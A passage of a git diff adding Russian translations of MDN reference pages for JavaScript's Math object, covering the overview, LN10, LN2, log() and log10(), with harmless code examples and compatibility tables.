+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("20")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>iOS 7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/math/index.html b/files/ru/web/javascript/reference/global_objects/math/index.html
new file mode 100644
index 0000000000..337e2229b2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/index.html
@@ -0,0 +1,198 @@
+---
+title: Math
+slug: Web/JavaScript/Reference/Global_Objects/Math
+tags:
+  - JavaScript
+  - Math
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<p>Объект <strong><code>Math</code></strong> является встроенным объектом, хранящим в своих свойствах и методах различные математические константы и функции. Объект <code>Math</code> не является функциональным объектом.</p>
+
+<p><code>Math</code> не работает с числами типа {{jsxref("BigInt")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>В отличие от других глобальных объектов, объект <code>Math</code> не является конструктором. Все свойства и методы объекта <code>Math</code> являются статическими. Вы ссылаетесь на константу π через <code>Math.PI</code> и вызываете функцию синуса через <code>Math.sin(x)</code>, где <code>x</code> является аргументом метода. Константы в JavaScript определены с полной точностью действительных чисел.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>Число Эйлера или Непера, основание натуральных логарифмов, приблизительно равное 2,718.</dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>Натуральный логарифм из 2, приблизительно равен 0,693.</dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd>Натуральный логарифм из 10, приблизительно равен 2,303.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>Двоичный логарифм из E, приблизительно равен 1,443.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>Десятичный логарифм из E, приблизительно равен 0,434.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>Отношение длины окружности круга к его диаметру, приблизительно равно 3,14159.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>Квадратный корень из 1/2; или, что тоже самое, 1, делённая на квадратный корень из 2, приблизительно равен 0,707.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd>Квадратный корень из 2, приблизительно равен 1,414.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<div class="note">
+<p>Обратите внимание, что тригонометрические функции (<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code> и <code>atan2()</code>) принимают в параметрах или возвращают углы в радианах. Для преобразования радианов в градусы, поделите их на величину <code>(Math.PI / 180)</code>; для преобразования в обратном направлении, умножьте градусы на эту же величину.</p>
+</div>
+
+<div class="note">
+<p>Обратите внимание, что точность большинства математических функций зависит от реализации. Это означает, что различные браузеры могут дать разные результаты, более того, даже один и тот же движок JavaScript на различных операционных системах или архитектурах может выдать разные результаты.</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>Возвращает абсолютное значение числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>Возвращает арккосинус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает гиперболический арккосинус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>Возвращает арксинус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает гиперболический арксинус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>Возвращает арктангенс числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает гиперболический арктангенс числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>Возвращает арктангенс от частного своих аргументов.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает кубический корень числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>Возвращает значение числа, округлённое к большему целому.</dd>
+ <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает количество ведущих нулей 32-битного целого числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>Возвращает косинус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает гиперболический косинус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>Возвращает E<sup>x</sup>, где <var>x</var> — аргумент, а E — число Эйлера (2,718…), основание натурального логарифма.</dd>
+ <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>exp(x)</code>, из которого вычли единицу.</dd>
+ <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>Возвращает значение числа, округлённое к меньшему целому.</dd>
+ <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает ближайшее число с плавающей запятой <a href="https://ru.wikipedia.org/wiki/Число_одинарной_точности">одинарной точности</a>, представляюще это число.</dd>
+ <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}} {{experimental_inline}}</dt>
+ <dd>Возвращает квадратный корень из суммы квадратов своих аргументов.</dd>
+ <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает результат умножения 32-битных целых чисел.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
+ <dd>Возвращает натуральный логарифм числа (log<sub>e</sub>, также известен как ln).</dd>
+ <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает натуральный логарифм числа <code>1 + x</code> (log<sub>e</sub>, также известен как ln).</dd>
+ <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает десятичный логарифм числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает двоичный логарифм числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
+ <dd>Возвращает наибольшее число из своих аргументов.</dd>
+ <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
+ <dd>Возвращает наименьшее число из своих аргументов.</dd>
+ <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
+ <dd>Возвращает основание в степени экспоненты, то есть, значение выражения <code>основание<sup>экспонента</sup></code>.</dd>
+ <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
+ <dd>Возвращает псевдослучайное число в диапазоне от 0 до 1.</dd>
+ <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
+ <dd>Возвращает значение числа, округлённое до ближайшего целого.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает знак числа, указывающий, является ли число положительным, отрицательным или нулём.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>Возвращает синус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает гиперболический синус числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>Возвращает положительный квадратный корень числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>Возвращает тангенс числа.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает гиперболический тангенс числа.</dd>
+ <dt><code>Math.toSource()</code> {{non-standard_inline}}</dt>
+ <dd>Возвращает строку <code>"Math"</code>.</dd>
+ <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}} {{experimental_inline}}</dt>
+ <dd>Возвращает целую часть числа, убирая дробные цифры.</dd>
+</dl>
+
+<h2 id="Расширение_объекта_Math">Расширение объекта <code>Math</code></h2>
+
+<p>Как и большинство встроенных объектов в Javascript, объект <code>Math</code> может быть расширен пользовательскими способами и методами. Чтобы расширить объект <code>Math</code>, не используют <code>prototype</code>. Вместо этого, расширяют <code>Math</code> напрямую: </p>
+
+<pre><code>Math.propName = propValue;
+Math.methodName = methodRef;</code></pre>
+
+<p>Например, следующий код добавляет метод к объекту Math для вычисления наибольшего общего делителя списка аргументов.</p>
+
+<pre><code>/* Вариативная функция -- Возвращает наибольший общий делитель списка аргументов */
+Math.gcd = function() {
+    if (arguments.length == 2) {
+        if (arguments[1] == 0)
+            return arguments[0];
+        else
+            return Math.gcd(arguments[1], arguments[0] % arguments[1]);
+    } else if (arguments.length &gt; 2) {
+        var result = Math.gcd(arguments[0], arguments[1]);
+        for (var i = 2; i &lt; arguments.length; i++)
+            result = Math.gcd(result, arguments[i]);
+        return result;
+    }
+};</code></pre>
+
+<p>Попробуйте:</p>
+
+<pre><code>console.log(Math.gcd(20, 30, 15, 70, 40)); // `5`</code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8', 'Math')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Добавлены новые методы: {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} и {{jsxref("Math.clz32()", "clz32()")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Math")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Number", "Number")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/ln10/index.html b/files/ru/web/javascript/reference/global_objects/math/ln10/index.html
new file mode 100644
index 0000000000..e087dde110
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/ln10/index.html
@@ -0,0 +1,113 @@
+---
+title: Math.LN10
+slug: Web/JavaScript/Reference/Global_Objects/Math/LN10
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.LN10</code></strong> представляет натуральный логарифм из 10, приблизительно равный 2,302:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2,302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2,302</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>LN10</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.LN10</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.LN10" name="Example:_Using_Math.LN10">Пример: использование свойства <code>Math.LN10</code></h3>
+<p>Следующая функция возвращает натуральный логарифм из 10:</p>
+<pre class="brush: js">function getNatLog10() {
+  return Math.LN10;
+}
+
+getNatLog10(); // 2.302585092994046
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/ln2/index.html b/files/ru/web/javascript/reference/global_objects/math/ln2/index.html
new file mode 100644
index 0000000000..0c94ff8c5c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/ln2/index.html
@@ -0,0 +1,113 @@
+---
+title: Math.LN2
+slug: Web/JavaScript/Reference/Global_Objects/Math/LN2
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.LN2</code></strong> представляет натуральный логарифм из 2, приблизительно равный 0,693:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0,693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0,693</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>LN2</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.LN2</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.LN2" name="Example:_Using_Math.LN2">Пример: использование свойства <code>Math.LN2</code></h3>
+<p>Следующая функция возвращает натуральный логарифм из 2:</p>
+<pre class="brush: js">function getNatLog2() {
+  return Math.LN2;
+}
+
+getNatLog2(); // 0.6931471805599453
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/log/index.html b/files/ru/web/javascript/reference/global_objects/math/log/index.html
new file mode 100644
index 0000000000..a106b53028
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/log/index.html
@@ -0,0 +1,129 @@
+---
+title: Math.log()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.log()</code></strong> возвращает натуральный (по основанию {{jsxref("Math.E", "e")}}) логарифм числа, то есть</p>
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>уникальный</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{уникальный} \; y \; \text{такой, что} \; e^y = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.log(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если значение <code>x</code> меньше 0, возвращаемое значение всегда будет равным {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+<p>Поскольку метод <code>log()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.log()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.log" name="Example:_Using_Math.log">Пример: использование метода <code>Math.log()</code></h3>
+<pre class="brush: js">Math.log(-1); // NaN, выход за пределы диапазона
+Math.log(0);  // -Infinity
+Math.log(1);  // 0
+Math.log(10); // 2.302585092994046
+</pre>
+
+<h3 id="Example:_Using_Math.log_with_a_different_base" name="Example:_Using_Math.log_with_a_different_base">Пример: использование метода <code>Math.log()</code> с различными основаниями</h3>
+<p>Следующая функция возвращает логарифм из <code>y</code> по основанию <code>x</code> (то есть, <math><semantics><mrow><msub><mo>log</mo><mi>x</mi></msub><mi>y</mi></mrow><annotation encoding="TeX">\log_x y</annotation></semantics></math>):</p>
+<pre class="brush: js">function getBaseLog(x, y) {
+  return Math.log(y) / Math.log(x);
+}
+</pre>
+<p>Если вы выполните <code>getBaseLog(10, 1000)</code>, функция вернёт <code>2.9999999999999996</code> из-за особенностей округления чисел с плавающей запятой, что довольно близко к правильному ответу — 3.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log', 'Math.log')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/log10/index.html b/files/ru/web/javascript/reference/global_objects/math/log10/index.html
new file mode 100644
index 0000000000..8ae3c545bf
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/log10/index.html
@@ -0,0 +1,137 @@
+---
+title: Math.log10()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log10
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log10
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.log10()</code></strong> возвращает десятичный (по основанию 10) логарифм числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log10</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>уникальный</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><msup><mn>10</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log10}(x)} = \log_10(x) = \text{уникальный} \; y \; \text{такой, что} \; 10^y = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.log10(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если значение <code>x</code> меньше 0, возвращаемое значение всегда будет равным {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<p>Поскольку метод <code>log10()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.log10()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.log10" name="Example:_Using_Math.log10">Пример: использование метода <code>Math.log10()</code></h3>
+
+<pre class="brush: js">Math.log10(2);      // 0.3010299956639812
+Math.log10(1);      // 0
+Math.log10(0);      // -Infinity
